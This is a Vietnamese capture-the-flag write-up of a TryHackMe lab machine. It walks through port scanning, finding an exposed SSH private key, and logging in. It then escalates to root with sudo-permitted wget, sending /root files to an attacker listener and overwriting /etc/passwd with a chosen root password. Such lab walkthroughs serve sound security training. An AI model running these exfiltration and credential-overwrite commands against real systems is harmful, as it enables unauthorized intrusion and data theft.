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Server khai thác: 

https://tryhackme.com/room/wgelctf 

Thông tin địa chỉ ban đầu 

- Máy kali sau khi VPN: 10.4.43.108 

- Máy server: 10.10.207.69 

 

 Tiến hành việc thu thập thông tin 

Quét các port TCP 

nmap -vv -T4 -p- -sV -O -Pn 10.10.207.69 

 

 

Quét các port UDP 

nmap -vv -T4 -sU -sV -Pn 10.10.207.69 

 

Đa phần các port được mở đã bị tưởng lửa filtered. 

https://tryhackme.com/room/wgelctf
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Dựa vào kết quả nhận được thông qua quét port TCP, ta nhận thấy server có sử dụng 

port 80 làm web service, tiến hành truy cập: 

 

Tiến hành kiểm tra mã nguồn vs Ctrl + U. Ở đây có một vài đoạn chú thích nhỏ sau đây: 
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Chưa thấy gì quan trọng nên quét các dir ẩn 

gobuster dir -w common-web-content.txt -u 10.10.207.69 -t 25 -x py,sh,txt,php 

 

Ở đây, ta xác nhận có một dir có mã status 301 chuyển hướng khả nghi, truy cập tìm hiểu 

vấn đề. 
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Sau khi lượt qua trang web, mình lầm tưởng đây đường link đã được đưa đến một project 

open source nào đó. Nhưng khi nhìn kỹ lại có thể thấy url vẫn còn là địa chỉ của server đang 

khai thác -> đây thật chất là trang chính của server này. 

Lướt qua một vòng không thấy gì nổi bật, lúc này nên quét dir ẩn từ chính website này. 

gobuster dir -w common-web-content.txt -u http://10.10.207.69/sitemap/ -t 25 -x py,sh,txt,php 
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Chúng ta nhận thấy một vài dir ẩn có status code là 301 (chuyển hướng). Có thể check từng 

cái nhưng thông thường các dir /css, /fonts, /images, /js là những tập tin liên quan đến tạo 

giao diện cho web. Cái quan trọng ở đây chính là dir /.ssh. 

 

Kiểm tra file id_rsa trên 

 

Kiến thức lý thuyết: 

.ssh directory là directory được system admin tạo ra dùng để lưu trữ các thông tin quan 

trọng sẽ được sử dụng trong quá trình xác thực người dùng đăng nhập vào hệ thống thông 

qua giao thức SSH. 
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Thông tin quan trọng nhất được lưu trữ bên trong directory .ssh chính là những file id_rsa. 

File id_rsa chứa password đã được mã hóa của một account SSH; trong nhiều trường hợp, 

có thể sử dụng file id_rsa để đăng nhập vào hệ thống thông qua giao thức SSH mà không 

cần phải biết mật khẩu gốc. 

Trong trường hợp hệ thống không chấp nhận file id_rsa và yêu cầu nhập mật khẩu gốc, có 

thể chỉ cần crack file id_rsa là xong. 

Cách crack link sau. 

Hay nói cách khác, nếu có được username và file id_rsa của một SSH client, nhiều khả năng 

ta hoàn toàn có thể dùng thông tin này để đăng nhập vào hệ thống thông qua giao thức 

SSH. 

Ở hiện tại, chúng ta dự đoán tên đăng nhập là jessie (đây là tên lúc kiểm tra mã nguồn 

trang web ban đầu) và có file id_rsa, chúng ta sẽ thử nghiệm xâm nhập xem sao nhé. 

 

Do đó, ta cần copy toàn bộ nội dung lưu về một file trên máy với tên là id_rsa 

 

Lưu lại nó và tiến hành ssh. 

https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/
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Đối với giao thức ssh, ta cần sử dụng thêm flag so với thông thường để có thể có thể đọc 

thêm một file có sẳn mà không cần password. 

 

Tiến hành sử dụng ssh 

 

Một lỗi gì đó khá lớn: UNPROTECTED PRIVATE KEY FILE 

Sau khi tìm hiểu thì nguyên nhân là: nếu file id_rsa cho phép tất cả người dùng truy cập và 

đọc nội dung bên trong nó. Điều này trái với đặc tính an toàn của file id_rsa và chắc chắn 

giao thức SSH sẽ không chấp nhận một file id_rsa như vậy vì thiếu an toàn. Nghĩa là file 

id_rsa (private key) chỉ cho phép owner mới truy cập được thôi, nếu không file sẽ bị từ 

chối. 
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Ở đây, quyền của file đang là có quyền read cho tất cả người dùng. Do đó cần điều chỉnh 

lại để phù hợp với yêu cầu. 

 

Thử đăng nhập lại bằng ssh 

 

Như vậy là đã đăng nhập thành công thông qua ssh vào server. 

NOTE: 

- Đầu tiên về tên đăng nhập, làm sao có thể đoán ra được là jessie. Lý do ban đầu khi 

đăng nhập vẫn thử đăng nhập bằng các account thông thường như “admin”, “root” 

thông quan file id_rsa này, nhưng nó vẫn yêu cầu nhập password -> chứng tỏ cặp 

username:password này không phải là của nhau. Quay lại phần thu thập thông tin 

trước đó thì chỉ có cái tên “jessie” này thui. 



9 
 

 

- Cách sửa về việc ban đầu không dùng được file id_rsa thì tham khảo link sau. 

Sau khi đăng nhập thành công thì có thể tìm được flag đầu tiên. Đi vòng vòng nhiều nơi 

tìm kiếm: 

 

Theo như yêu cầu đề bài thứ 2 là phải tìm root_flag, do đó tức là cần phải leo thang đặc 

quyền lên mới có thể lấy flag này. 

Kiểm tra các quyền của user hiện tại: 

 

Điều này có nghĩa là jessie có quyền chạy lệnh wget với quyền root. 

Note: tới đây là gần như kẹt đường đi, và đây là tham khảo cách giải quyết hướng đi từ 

writeup. 

Một trong những cách lúc này chính là dựa trên việc dự đoán tên file chứa flag của đề bài. 

Nếu như flag đầu tiên là user_flag thì cái thứ hai có lẽ là root_flag. Về vị trí, nó có thể nằm 

ở thư mục /root do đề bài yêu cầu cần leo thang đặc quyền thì mới truy cập được thư mục 

https://www.howtogeek.com/168119/fixing-warning-unprotected-private-key-file-on-linux/
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này. Do đó, kịch bản lúc này sẽ là dùng wget để chuyển nội dung của file dự đoán sang máy 

kali dùng netcap để nhận tập tin đó (trong trường hợp là tập tin này có tồn tại) 

Trên máy server thực hiện câu lệnh sau: 

sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.4.43.108:8888 

Giải thích vì sao phải dùng sudo /usr/bin/wget mà không phải chỉ cần dùng wget cho câu 

lệnh trên? Do như khi chúng ta dùng câu lệnh “sudo -l” để kiểm tra quyền thì ta có quyền 

sử dụng wget dưới quyền của root và đường dẫn của nó là /usr/bin/wget, nếu chỉ dùng 

bình thường wget thì tức là đang chỉ dùng với quyền của account hiện tại tức là của jessie. 

 

Lúc này trên máy kali dùng nc để nhận file: 

 

Và flag của nó sẽ là dòng in đỏ. 
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---------------------------------------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------

--------------------------------------------------------------------------------------------------------------------- 

 

ĐÂY LÀ PHẦN NGOÀI LỀ, NÂNG CAO HƠN SO VỚI PHƯƠNG PHÁP BÊN TRÊN 

Đối với cách tìm flag cuối cùng, thì việc đoán mang tính may rủi rất nhiều, do đó để có thể 

thực hiện nâng cấp lên quyền root một cách chủ động hơn thì việc này đòi hỏi nhiều kỹ 

thuật hơn. Theo một write up thì quy trình thực hiện leo thang đặc quyền của nó sẽ trải 

qua các giai đoạn như sau: 

1. Chúng ta sẽ tìm cách tải file /etc/passwd trên Wgel về máy Kali Linux.  

2. Chúng ta sẽ tạo một mật khẩu và thêm vào account root trong file /etc/passwd. 

3. Chúng ta upload file /etc/passwd đã được ta chỉnh sửa lên server thông qua công 

cụ Wget vào directory /etc. Lúc này vì Wget được phép chạy với phân quyền của 

root, nó sẽ thay thế file passwd trong directory /etc thành file mới có kèm theo giá 

trị password của root mà ta đã thêm vào. 

4. Lúc này, ta chỉ cần đăng nhập vào root với mật khẩu đã thiết lập ở bước 2 là xong. 

Đầu tiên, copy toàn bộ nội dung file /etc/passwd vào /tmp (đây là nơi cung cấp quyền cho 

toàn bộ user nên dễ dàng hoạt động hơn). Sau đó tạo một server ảo bằng lệnh python 

thông qua module SimpleHTTP 

 

Tiến hành tải về trên máy kali 
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Và kết quả sẽ là 

 

Chúng ta sẽ dùng công cụ openssl trên Kali Linux để tạo một password mã hóa có cùng 

thuật toán mã hóa với file /etc/passwd như bên dưới, chọn password là iloveyou123 nhé: 
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Thêm password vào file passwd khi nãy, trước khi thay đổi: 

 

Sau khi thay đổi, password sẽ nằm tại vị trí ký tự “x” sau từ root ban đầu. 

 

Tại sao lại thay đổi chỗ này thì đọc link sau. 

Tiếp theo cần đưa ngược file này về máy máy server. 

Tạo server bằng python trên máy kali 

 

Trên máy server tải file về thông qua wget 

 

Lúc này thì nếu tải bình thường thì sẽ bị chặn do không có quyền. Mà khi kiểm tra phía trên 

thì user jessie có quyền sử dụng wget dưới quyền root mà không cần mật khẩu. 

 

Câu lệnh đầy đủ lúc này sẽ là: 

https://hocdevops.com/resources/tim-hieu-ve-tep-etc-passwd/
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sudo /usr/bin/wget http://10.4.43.108:8000/passwd -O /etc/passwd 

 

Lúc này file password mới của chúng ta đã ghi đè lên file của hệ thống, tức là có thể nâng 

lên quyền root với password đã tạo trước đó (password: iloveyou123). 

 

Đến đây có thể thực hiện việc tìm flag 

 

 

 

 

 

 

 

 


